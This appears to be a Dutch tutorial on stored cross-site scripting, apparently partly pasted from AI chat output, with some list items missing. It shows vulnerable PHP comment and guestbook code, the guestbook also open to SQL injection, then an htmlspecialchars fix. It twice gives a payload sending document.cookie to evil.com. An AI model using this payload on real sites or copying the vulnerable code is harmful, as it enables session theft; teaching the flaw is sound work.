Stored XSS, ook wel persistent XSS genoemd, is een van de meest impactvolle varianten van Cross Site Scripting. Bij deze aanval wordt het kwaadaardige script niet alleen tijdelijk via een link of formulier meegestuurd, maar daadwerkelijk opgeslagen op de server. Denk hierbij aan een bericht in een gastenboek, een reactie onder een blogpost, of een gebruikersprofiel.
Het proces verloopt meestal als volgt:
Stored XSS is extra gevaarlijk omdat het script automatisch wordt uitgevoerd bij elke bezoeker van de geïnfecteerde pagina. De aanvaller hoeft dus niet actief slachtoffers te lokken met een speciale link; iedereen die de pagina bezoekt, loopt risico.
Mogelijke gevolgen zijn onder andere:
Stel je voor dat een website gebruikers toestaat om reacties te plaatsen zonder deze te ontsmetten:
<!-- Onveilige weergave van gebruikersinvoer -->
<div>
Reactie van gebruiker: <?php echo $_POST['comment']; ?>
</div>
Als een aanvaller nu het volgende plaatst als reactie:
<script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>
Dan wordt dit script elke keer uitgevoerd als iemand de pagina bezoekt waar deze reactie wordt getoond.
Stored XSS is een ernstige kwetsbaarheid die eenvoudig kan ontstaan als gebruikersinvoer niet goed wordt behandeld. Omdat het script wordt opgeslagen en automatisch wordt uitgevoerd bij andere gebruikers, kan de impact groot zijn. Het is daarom essentieel om altijd invoer te ontsmetten en veilig weer te geven.
Natuurlijk! Hieronder vind je een eenvoudig codevoorbeeld van een Stored XSS-kwetsbaarheid in PHP, gevolgd door een uitleg.
Stel je hebt een gastenboek waar gebruikers een bericht kunnen achterlaten. De berichten worden opgeslagen in een database en vervolgens weergegeven op de website.
<?php
// Verbinding maken met de database
$conn = new mysqli('localhost', 'user', 'password', 'database');
// Gebruikersinvoer opslaan zonder ontsmetting
if (isset($_POST['message'])) {
$message = $_POST['message'];
$conn->query("INSERT INTO guestbook (message) VALUES ('$message')");
}
?>
<?php
// Berichten ophalen en direct weergeven
$result = $conn->query("SELECT message FROM guestbook");
while ($row = $result->fetch_assoc()) {
echo "<div>" . $row['message'] . "</div>";
}
?>
Een aanvaller kan nu het volgende bericht plaatsen:
<script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>
Iedereen die de gastenboekpagina bezoekt, voert dit script uit in zijn browser. Zo kan de aanvaller bijvoorbeeld cookies stelen.
Gebruik altijd output encoding bij het weergeven van gebruikersinvoer:
<?php
// Berichten ophalen en veilig weergeven
$result = $conn->query("SELECT message FROM guestbook");
while ($row = $result->fetch_assoc()) {
echo "<div>" . htmlspecialchars($row['message'], ENT_QUOTES, 'UTF-8') . "</div>";
}
?>
Nu wordt het script niet uitgevoerd, maar als gewone tekst weergegeven.